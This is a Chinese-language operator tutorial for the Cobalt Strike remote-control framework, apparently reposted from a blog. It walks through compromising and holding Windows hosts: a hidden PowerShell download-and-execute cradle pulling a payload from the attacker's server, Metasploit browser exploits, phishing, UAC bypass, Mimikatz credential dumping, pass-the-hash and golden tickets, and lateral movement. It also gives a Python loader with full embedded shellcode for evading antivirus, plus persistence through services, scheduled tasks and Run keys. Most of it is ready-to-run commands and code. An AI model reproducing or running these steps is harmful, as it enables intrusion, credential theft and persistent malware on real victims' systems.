1. 程式人生 > 實用技巧 >CS遠控

CS遠控

Cobaltstrike

一、基礎使用

./teamserver 192.168.43.224 123456 啟動伺服器端
在windows下的連結
雙擊bat檔案即可
在linux下
./start.sh

讓目標機器連結上teamserver

1.設定好監聽器
2.生成攻擊載荷
	url它是個檔案路徑,就是讓目標(受害者)通過地址下載惡意指令碼
	powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.43.224:80/a'))"
	http://192.168.43.224/a這是一段木馬
	就是使用powershell來進行下載程式碼並且執行
3.攻擊

二、Cobalt Stike使用重定器

第一保護伺服器地址,並作為攻擊者,它也是一個很好的安全操作。第二 它給予了一些很好的適應能力,假如工具中有一兩個堵塞了也沒有什麼大不了的,也可以進行通訊。

socat TCP4-LISTEN:80,fork TCP4:team.cskali.com:80 將監聽道德80埠的資料轉發到teamserve的80埠上

在監聽的host設定上來,應該設定為分機的host上的80埠,因為已經做了轉發,可以直接設定。

然後再設定beacon時,相當於幾個備用的介面。

注意DNS

的設定(當然在公網環境下買的沒有這個需求)

三、DNS Beacon的使用與原理

DNS木馬隱蔽性好,在受害者不會開放任何埠,可以有效地規避防火牆協議,走的是53埠

分類

windows/beacon_dns.resrve_http(傳輸資料小)
beacon_dns/reserve_http(支援命令切換模式 mode dns)速度很慢,但非常隱蔽
beacon_dns/reserve_dns_txt(支援命令切換模式: mode dns_txt) 傳輸資料量更大,推薦使用
windows/beacon_dns/reverse_dns_txt(傳輸資料打)

域名建立a記錄test.1377day.com指向teamserver

接著建立三個ns記錄 分別為C1,C2,C3指向test.1377day.com

進入beacon 開啟help

使用checkin命令來進入嘗試資料連續返回,發一些基本資訊回來

四、使用者驅動攻擊

sleep + 數字 調節螢幕暗的時間

五、派生會話

派生會話,選擇好監聽器,會選擇執行,在選擇ip的時候,選擇的是新的主機的ip192.168.0.134但是beacons依然選擇原來的teamserver,新建一個會話的監聽。

1.派生會話(自身增加會話,或者給其他的teamserver)

2.派生metasploit會話

首先還是新建一個監聽器,tcp/ip,選擇windows/foreign/reverse_tcp這個payload,然後主機設定你的metasploit監聽的埠,主機,確保一致,

4.metasplot生成木馬與cobalt strike會話

msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.0.104 LPORT=8808 -f exe > /tmp/shell1.exe

注意在新增監聽器的時候,要選擇http的監聽模式,不要搞錯了,這個很重要。這個就是host:192.168.0.104,port:8808的監聽模式。

把msf生成的木馬拿到肉雞上去執行就會返回一個會話,也可以使用

5.metasploit使用溢位exp與cobalt strike會話

use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.0.134 這是teamserver
set SRVPORT 80
set payload windows/meterpreter/reverse_http
set LHOST 192.168.0.104 本地監聽的localhost,就是黑客電腦
set lport 8888
set disablepayloadhandler True
set PrependMigrate true
set lhost 80
exploit

DisablePayLoadHandler設定為true。這告訴metasploit框架,它不需要在metasploit框架內建立處理程式來服務有效負載連線。就是讓cobalt strike來處理。

set PrependMigrate true

這個選項告訴metasploit框架修改其stager,以便在利用之後立即遷移到另一個程序。此選項對於客戶端攻擊非常重要。它允許您的會話在被利用的應用程式崩潰或關閉時存活。

當xp系統的受害人用瀏覽器訪問http://192.168.0.134:80/1Gk97z32pr 這個帶有攻擊程式碼的連結時候,成功的話就會在cobalt strike 產生一個會話

sessions -i + ID

use exploit/windows/local/payload_inject
set session 3
set payload windows/meterpreter/reverse_http
set lhsot 192.168.0.104
set lport 8888
set DisablePayloadHandler true
exploit -j

將這個sessions分配個cobaltstrike.

會話的協議,一定要對應,不然會一直報錯的。

六、釣魚攻擊

生成後門

1.html檔案執行釣魚病毒

2.巨集病毒

釣魚攻擊

收集使用者瀏覽器客戶端的資訊,web管理模組,可以檢視現在能使用的web模組

克隆網站

進行攻擊

進行鍵盤記錄

下載執行木馬

meatsploit溢位攻擊配合cobal

命令一敲萬事大吉

use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.0.134
set SRVPORT 888
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.134
exploit

http://192.168.0.134:888/tsGoWgaV4P9NW

將上面的url地址放入到克隆網站的攻擊網址裡面 當受害人訪問http://192.168.0.134:80/msf 就會載入http://192.168.0.134:888/tsGoWgaV4P9NW

七、魚叉釣魚攻擊

1.準備要釣魚的目標郵箱

2.模版檔案

在準備賬號密碼的時候,賬號和密碼之間一定要使用兩下tab

3.smtp傳送郵箱

八、許可權提升

UAC 是微軟在 Windows Vista 以後版本引入的一種安全機制,通過 UAC,應用程式和任務可始終在非管理員帳戶的安全上下文中執行,除非管理員特別授予管理員級別的系統訪問許可權。UAC 可以阻止未經授權的應用程式自動進行安裝,並防止無意中更改系統設定。

常用的許可權提升方式

bypassuac

使用ms14-058提權

在裡面使用cmd命令的時候,使用shell whoami

whiami/groups檢視使用者許可權和使用者組的資訊

smb-pipe beacon 推薦內網環境下使用

powershell提權

需要收集自己的提權指令碼進行使用

powershell-import 匯入指令碼

powershell Invoke-AllChecks開始掃描

然後icacls 檢視許可權 F完全控制一定要有完全的F許可權才行

增加使用者系統使用者

powershell Install-ServiceBinary -ServiceName Protect_2345Explorer -UserName rockyou123455 -Password 123456

spawnas .(這是域) 然後使用賬號密碼,來獲得一個新的beacon,然後就可以bypassuac獲取超級許可權

執行mimikatz

九、域內滲透(畫好拓撲圖)

1.列舉信任主機

1.1 windows命令

派生會話使用smppayload更適合用於做內網滲透

shell whoami/groups 檢視在使用者組中的使用者許可權

shell whoami 檢視使用者許可權

shell net user檢視本地的主機使用者

shell net view /domain檢視共有多少個域在本地

net view /domain:TEST1 檢視當前域主機列表,(後面的TEST1時在上條命令中的主機名字)

shell ping + 上一步檢視的主機名 檢視ip

net group \\server2003 /domain 檢視域內成員computer的名字

nltest /dclist:TEST1檢視域控 (如果報錯說沒有這個命令,那麼就是因為powershel這種x86環境下是沒有的)

解決辦法shell c:\windows\sysnative\nltest /dclist:test1

nltest /domain_trusts 檢視域的信任關係

1.2 powerView 模組的使用

先使用powershell-import 進行模組的引入

powershell Invoke-Netview 將常用的資訊顯示出來

powershell Invoke-ShareFinder 查詢共享的

powershell Invoke-MapDomainTrusts檢視信任關係的

1.3 net模組

net dclist 列出域控

net dclist [domain] 列出目標共享列表

net share \\DATABASE 列出當前域控的主機 雙斜槓後面是名字

net view 檢視域內主機

net view [domain]

2 判斷當前使用者位置

2.1 判斷是否本地管理員

因為 普通域使用者 在做一些高級別操作的配置 需要域管理員的賬號和密碼。這是很不方便的。有的時候就會把普通的域使用者 把它增加目標主機的超級管理員組,那麼再做配置的時候就不需要域的超級管理員賬號和密碼。

shell dir \\目標機器名\C$如果本地使用者是不會死目標機器碼本地管理員,這裡就可以成功訪問,不然就會沒有許可權

如果能看,就是某一臺機子的本地超級管理員

powerview Invoke-FindLocalAdminAccess也可以採用這個模組的方法 檢視信任主機裡是不是其超級管理員

2.2 判斷是否是域內管理員

shell net group "enterprise admins" /domain 查詢域內管理員是

shell net group "domain admins" /domain

shell net localgroup "administrators" /domain

beacon下的命令

net group \\dc檢視dc的組

net localgroup \\dc “admin” 查詢一下dc的admin組,要注意其中的許可權分配,還有就是查詢的速度會很慢,耐住性子

powerview

powershell Get-NetLocalGroup -HostName database1檢視database1的本地使用者組

2.3 winrm執行powershell

本條基於所滲透的主機是本地的超級管理員

shell dir database1 \C$ 檢視database1的c盤目錄

shell dir /S /B \\database1\c$\users 檢視曾經登入過的使用者,這個目錄下資訊含量很大

powershell Invoke-Command -ComputerName database1 -ScriptBlock{ dir c:\}這裡就相當於使用powershell執行cmd命令 ,有可能因為連結不是很穩定,導致執行命令出錯

powershell Invoke-Command -ComputerName database1 -ScriptBlock{ net localgroup administrators}

這些命令都是在傷害著這臺機子上執行的

2.4 powersploit 執行MImikatz

powershell-import invoke-MImikatz.ps1 匯入該內網滲透神器

powershell Invoke-Mimikatz -ComputerName database1

3 登入驗證

3.1 製作憑證(必須要系統許可權system)

用mimikatz收集到的密碼 用憑證製作一個標記,製作成臨時身份。

rev2self 終止標記 (這是beacon命令,恢復原來的令牌【token】)

訪問域控主機

steal_token ID 域控主機的超級管理員程序(ID是超級管理員程序)

make_token TEST1\Aadminstrator 123456 製作token

make_token domain\user password domain可以生成本地的,程式碼是一個點

spawnas domain\user password 再生成一個會話

4 hash驗證

4.1 雜湊認證

pth TEST1\username NTLM

4.2 kerberos憑證認證

畫個重點

Kerberos和密碼雜湊認證有些不一樣,但是兩者同樣都是使用憑據來產生標記
Kerberos票證是儲存存在一個叫kerberos托盤的地方
Kerberos原理是你們可以使用一箇中間人 它叫 密匙分配發送伺服器 並且 密匙分配發送伺服器出憑據,你們可能現在使用那個憑據一次性與伺服器相互作用他會告訴伺服器,我很好 這是我憑據 驗證憑據這個中間人如果信任它會給我伺服器的憑據 這個憑據就可以讓我們保持互動 並且沒有任何帳號建立 如果你們獲取了一個憑據 那就整合它,然後你們就可以使用這個指定憑據來與伺服器進行互動了。一般情況下我使用憑據最好使用黃金憑據。
黃金憑據是域管理員自己生成的Kerberos憑據 來用mimikatz偽造一個黃金票證 

有了黃金票據就有了訪問域控許可權限 ,通常用於後門。
你們需要四個不同的資訊。
使用者 、域名、域id krbtgt 的hash

首先 shell c:\windows\sysnative\klist 檢視本地的票據

shell whoami/user獲取域的id

列舉黃金票據
shell klist
64位置
shell c:\windows\sysnative\klist
kerberos_ccache_use       從ccache檔案中匯入票據應用於此會話
kerberos_ticket_purge     清除當前會話的票據
kerberos_ticket_use       Apply 從ticket檔案中匯入票據應用於此會話 

5 程式碼執行

方法一

先製作一個exe後門
然後上傳到當前使用者的資料夾下面
然後使用copy命令拷貝到被受信任的主機中
shell copy D:/user/admin.a.exe \\database1\C$\WINDOWS\TEMP\http.exe
shell sc \\host create name binpath= C$\WINDOWS\TEMP\http.exe
shell sc \\host start name
shell sc \\host delete name
當前執行的許可權是什麼返回的許可權就是什麼

方法二

前面的上傳複製命令不變
shell net time \\host
shell at \\host 15:14 c:\path\to\bad.exe  15時14分啟動服務

轉發監聽器 內網的特殊情況 kali和域控不在一個ip段內,不能相互互動,所以要用到轉發監聽器

6 自動化操作

首先查詢本地的管理員,Invoke-FindLocalAdminAccess,然後登陸,偷取臨時token。

十 隧道的使用

這是整個過程的拓撲圖。

1.scok轉發

正向連結掃描的方式

sock + port開啟sock轉發

sock + stop關閉sock轉發

更改kali上的proxychains的配置檔案實現代理轉發

這裡是不能夠使用PING掃描方式的。nmap -Pn -sT 10.10.10.4

2.metasploit在beacon使用 隧道轉發

可以傳送資訊 和接收資訊的 
setg Prosies socks4:127.0.0.1:[port]
setg Proxies socks4:192.168.0.134:21743
setg ReverseAllowProxy true 允許反向代理
unsetg Proxies

最好再開一臺kali來連結,不要和teamserver相同。

十一 ssh隧道在beacon中的使用

使用beacon的機器,直接與teamserver互動的主機

當前是不能夠連結的,這裡的ubuntu是有他的賬號和密碼,現在是在ubuntu上做一個隧道,讓他進行轉發到win7上去。

在teamsever上開發一個1080埠,連結到154的機器上。然後win7的機器將445埠的資料全都轉發。

ssh -D建立一個動態的埠連結到154,這一步在teaserver上來執行。ssh -D 1080 [email protected]

socat TCP-LISTEN:445,fork SOCKS4:127.0.0.1:10.10.10.129:445然後我們的beacon是通過smb埠進行的,就是445埠,我們對於445埠訪問就變成了對129的445埠的訪問。

十二 使用多種方法免殺payload

1.HanzoInjection 方法

HanzoInjection.exe -e payload_meterpreter.binbin是二進位制檔案,最好不要使用64位的payload,因為很多的免殺檔案都不支援64位的檔案。

https://github.com/P0cL4bs/hanzoInjection

2.Invoke-PSImage

下載地址:https://github.com/peewpw/Invoke-PSImage

Powershell -ExecutionPolicy Bypass 允許匯入指令碼

Import-Module .\Invoke-PSImage.ps1 匯入指令碼

Invoke-PSImage -Script .\payload.ps1 -Image .\test.jpg –Out test2.png –Web

用cs生成payload payload.ps1 、

然後會給你一段利用的程式碼,這個時候選擇生成的圖片用cs做一個檔案下載,然後選擇那個圖片,將其中的url替換一下,然後執行即可

3.python免殺

生成payload,注意不要選擇64位,一定要選32位

模版

from ctypes import *
import ctypes
# length: 614 bytes
buf = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\xe8\x80\x00\x00\x00\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x45\x4e\x55\x53\x4d\x53\x43\x4f\x4d\x29\x00\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00\x59\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x61\x5a\x48\x89\xc1\x41\xb8\xd2\x04\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x44\x48\x89\xc1\x48\x31\xd2\x41\x58\x4d\x31\xc9\x52\x68\x00\x02\x60\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x6a\x0a\x5f\x48\x89\xf1\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x1d\x48\xff\xcf\x74\x10\xeb\xdf\xeb\x63\xe8\xb7\xff\xff\xff\x2f\x53\x39\x70\x61\x00\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\xc3\xe8\x35\xff\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x36\x31\x2e\x31\x36\x30\x00"
#libc = CDLL('libc.so.6')
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
    buf = c_char_p(buffer)
    size = len(buffer)
    addr = libc.valloc(size)
    addr = c_void_p(addr)
    if 0 == addr: 
        raise Exception("Failed to allocate memory")
    memmove(addr, buf, size)
    if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
        raise Exception("Failed to set protection on buffer")
    return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()   
if whnd != 0:
       if 1:
              ctypes.windll.user32.ShowWindow(whnd, 0)   
              ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()

https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download
https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi
https://github.com/pyinstaller/pyinstaller/releases
 
安裝python2.7 
增加環境變數
安裝生成exe的庫
Python setup.py install
不能帶有中文路徑否則出錯
Pip install pyinstaller
生成exe檔案
pyinstaller -F bb.py

十三 C2的使用

使用:./teasmserver [ip][password][/patch/profile]

profiles的引數講解

選項關鍵詞
jitter控制beacon的不穩定的抖動時間
maxdns 控制dns的最大訪問次數
sleeptime 控制beacon的睡眠間隔時間
spawnto 指定派生的名字
uri 請求的url
useragent  每次攻擊時的瀏覽器頭資訊
除了設定Malleable C2的選項外,還能增加任意的http頭資訊增加到beacon中進行互動通訊。
增加任意指定的引數的命令
header "header" "value"
parameter "key" "value"

c2lint的使用

檢測他的配置檔案是否是正確的。

參考文件:

https://github.com/rsmudge/Malleable-C2-Profiles

https://blog.cobaltstrike.com/2018/06/04/broken-promises-and-malleable-c2-profiles/

https://www.cobaltstrike.com/help-malleable-c2

十四 Aggressor-scripts的使用

修改預設埠

就是在teamserver的啟動程式中,將-port的引數改成想要的埠即可

修改埠 預設的埠可能會被藍隊溯源 得到ip個埠 或者被ids檢測到。

十五 可持續後門的使用

1.服務自動啟動(會被防火牆攔截)

sc create "Windows Power" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(' http://192.168.0.150:80/a'))\""
sc config "Windows Power" start= auto
sc description "Windows Power" "windows auto service" 增加描述
net start "Windows Power"
sc delete "Windows Power"
這個程式如果免殺的話,360就不會攔截
sc create "server power" binpath= "C:\Users\Administrator\Desktop\artifact.exe"
sc description "server power" "description" 設定服務的描述字串
sc config "server power" start= auto 設定這個服務為自動啟動
net start "server power" 啟動服務

2.計劃任務

建立任務
schtasks /create /tn "windowsup" /tr "C:\artifact.exe" /ru SYSTEM /sc onstart
刪除任務
schtasks /delete /tn windowsup
查詢任務 
chcp 437 解決這個問題 錯誤: 無法載入列資源。 s 請修改字符集
schtasks /query /tn windowsup
手工執行任務 
schtasks /run /tn windowsup

3.登錄檔啟動

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\artifact.exe" /f

十六 Veil 免殺過殺軟

連結:https://github.com/Veil-Framework/Veil

https://www.cnblogs.com/-qing-/p/11031699.html

https://www.veil-framework.com/

use 1 選擇除錯